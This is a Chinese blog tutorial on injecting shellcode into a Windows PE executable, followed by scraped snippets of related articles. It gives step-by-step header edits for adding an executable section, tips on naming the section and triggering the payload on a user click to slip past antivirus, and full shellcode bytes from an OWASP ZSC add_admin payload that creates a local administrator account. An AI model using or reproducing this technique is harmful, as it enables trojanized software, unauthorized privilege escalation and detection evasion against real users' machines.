Inject shellcode into PE file

先声明这是不免杀的,只是演示。

新增节

  • 一般能实现特定功能的shellcode的长度都比较长,可以分到几个节上的空白区,但是这样麻烦啊,或者把最后一个节扩大,但是最后一个节一般没有执行的属性。所以选择新增一个节表。

修改添加节表

  1. 先判断一下最后一个节表后面有没有够40个字节新增一个节表的结构体,正常的都够。
  2. 把第一个节表拷贝写到最后一个节表的后面,因为第一个节表的属性默认是可执行的,可以省了后面的修改。
  3. 节表是复制过来的所以还要修改很多东西,先获取一下文件对齐和内存对齐。
    1. SectionAlignment 内存对齐 在扩展PE头上的第十一个属性,基于扩展PE头偏移地址32个字节,大小为DWORD。当前的程序的为:1000h。
    2. FileAlignment 文件对齐 在扩展PE头上的第十二个属性,基于扩展PE头偏移地址36个字节,大小为DWORD。当前程序得为200h。
大小 英文名 描述
1*8 Name[8] 就是pdata,为了给杀毒软件看着正常一点,尽量改为PE文件有的名称
4 VirtualSize 1000h,也就是00 10 00 00
4 VirtualAddress 上一个节表的VirtualAddress加上上一个VirtualSize再按照SectionAlignment的整数倍对齐。
4 SizeOfRawData FileAlignment域的倍数,改1000h就可以了
4 PointerToRawData 上一个节表的PointerToRawData加上SizeOfRawData再按照FileAlignment的整数倍对齐。
4 PointerToRelocations 00000000
4 PointerToLinenumbers 00000000
2 NumberOfRelocations 0000
2 NumberOfLinenumbers 0000
4 Characteristics 复制了第一个节点的,所以不用改

填充节区数据

  • 上面添加了1000h转十进制为4096个字节,直接拉到最后面添加4096个字节就可以了。

修改标准PE头

  • 修改标准PE头的NumberOfSections属性,也就是节表的数量,在原来的+1就可以了。基于标准PE头偏移两字节,大小为Word。

修改PE扩展表

  • 修改SizeOfImage,在原来的基础上加上添加的字节大小,按照内存对齐,基于PE扩展表偏移56字节(三行半),大小为DWORD

获取Shellcode

  • MSF生成的都杀的差不多了,可以加点XOR混淆,也可以用C代码自己改一下标志。
  • OWASP有一个生成shellcode的项目还行,也可以生成C代码改为shellcode,把常量字符串都换成char数组就行了,替换\x为‘,‘\x
  • https://ali-razmjoo.gitbooks.io/owasp-zsc/content/
  • 生成shellcode
?  ~ zsc -p windows_x86/add_admin/none -i "kt~~~kt" -o add_admin.c

\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x53\x52\x31\xc9\x51\xb9\x78\x65\x63\x61\x51\x83\x6c\x24\x03\x61\x68\x57\x69\x6e\x45\x54\x53\xff\xd2\x83\xc4\x08\x59\x50\x31\xc9\x51\x68\x90\x61\x64\x64\x59\xc1\xe9\x08\x51\x68\x6b\x74\x20\x2f\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69\x6e\x69\x73\x68\x20\x61\x64\x6d\x68\x72\x6f\x75\x70\x68\x63\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x64\x64\x20\x26\x68\x74\x20\x2f\x61\x68\x6b\x74\x20\x6b\x68\x73\x65\x72\x20\x68\x65\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x31\xdb\x89\xe3\x31\xc9\x41\x51\x53\xff\xd0\x83\xc4\x50\x5a\x5b\x31\xc9\xb9\x65\x73\x73\x61\x51\x83\x6c\x24\x03\x61\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd2\x31\xc9\x51\xff\xd0
  • 把\x替换为空就是十六进制,使用x64dbg粘贴到新添加的节区里。

修改程序流程

  • 不要直接在程序入口点那里修改JMP到shellcode执行,这种我试过了了,杀毒软件秒杀。可以在用户交互时触发执行shellcode。
  • 比如在鼠标点击了哪里
  • 也不要直接就跳到shellcode的执行地址,至少来个判断加循环把地址算出来再跳到shellcode的执行地址。

保存和恢复CPU现场

  • 保存各个寄存器的值,免得执行完shellcode后搞乱寄存器就跑飞了。
  • 汇编直接PUSHAD,PUSHFD就能把寄存器和标志寄存器的值压入堆栈。
  • 执行完shellcode再POPAD,POPFD恢复CPU现场。
正常指令
JMP 到shellcode入口地址
PUSHAD
PUSHFD
保存CPU现场
执行shellcode
执行完后恢复CPU现场
POPFD
POPAD
JMP调用shellcode入口地址的下一个地址
  • 不太建议用call指令,因为会打乱堆栈数据,直接用JMP就可以了。
  • 导出补丁文件。

原文地址:https://www.cnblogs.com/Kali-Team/p/12255795.html

时间: 2024-08-02 10:44:10

Inject shellcode into PE file的相关文章

Delphi : Analyze PE file headers?

Analyze PE file headers? { You'll need a OpenDialog to open a Exe-File and a Memo to show the file informations } { Man braucht einen OpenDialog um eine Exe-Datei zu öffnen und ein Memo, um die Informationen anzuzeigen. } procedure DumpDOSHeader(cons

《Peering Inside the PE: A Tour of the Win32 Portable Executable File Format》阅读笔记(未完)

---恢复内容开始--- The format of an operating system's executable file is in many ways a mirror of the operating system. Winnt.h是一个非常重要的头文件,其中定义了大部分windows下的内部结构. The PE format is documented (in the loosest sense of the word) in the WINNT.H header file.Abo

dnSpy PE format ( Portable Executable File Format)

Portable Executable File Format PE Format  微软官方的 What is a .PE file in the .NET framework? [closed] The PE file you are talking about is the "Portable Executable" format. Almost every EXE and DLL on the Windows platform is formatted in PE format

PE打补丁技术大全

Downloads PE Viewer PE Maker - Step 1 - Add new Section. PE Maker - Step 2 - Travel towards OEP. PE Maker - Step 3 - Support Import Table. PE Maker - Step 4 - Support DLL and OCX. PE Maker - Step 5 - Final work. CALC.EXE - test file Contents 0. Prefa

内存运行PE文件

内存中运行文件 拿exe并在HxD或010中打开 - cntrl+a copy as C 粘贴到encrypt.cpp 编译并运行encrypt.cpp - 创建shellcode.txt 从shellcode.txt复制char数组,并替换runPE.cpp中的rawData [] 编译生成最终的runPE.exe 使用XOR密钥解密,加载到内存中执行. encrypt.cpp //encrypt shellcode prior to storing in stub //store in sh

The Portable Executable File Format from Top to Bottom(每个结构体都非常清楚)

The Portable Executable File Format from Top to Bottom Randy KathMicrosoft Developer Network Technology Group Created: June 12, 1993 Click to open or copy the files in the EXEVIEW sample application for this technical article. Click to open or copy t

PE病毒初探——向exe注入代码

PE文件其实就是Windows可执行文件,关于它的一些简要介绍摘自百度: PE文件被称为可移植的执行体是Portable Execute的全称,常见的EXE.DLL.OCX.SYS.COM都是PE文件,PE文件是微软Windows操作系统上的程序文件(可能是间接被执行,如DLL). http://baike.baidu.com/view/1087038.htm 有一种病毒是针对PE文件进行的操作,他们会感染一些exe,将自己的代码添加到exe中并在某处悄悄地窃取执行权限执行自己的代码进行破坏或者

在32位PE文件中的任意一个节中添加代码

// SectionOp.cpp : 定义控制台应用程序的入口点. // /************************************************ *程序说明:在32位PE文件中的任意一个节中添加代码 *          第一个参数为PE文件 第二个参数为第N个节 * * 时间: 20170718 * Win10 VS2010 测试通过  ver 0.01 **************************************************/ #inc

Load PE from memory(反取证)

  Article 1:Loading Win32/64 DLLs "manually" without LoadLibrary() The most important steps of DLL loading are: Mapping or loading the DLL into memory. Relocating offsets in the DLL using the relocating table of the DLL (if present). Resolving t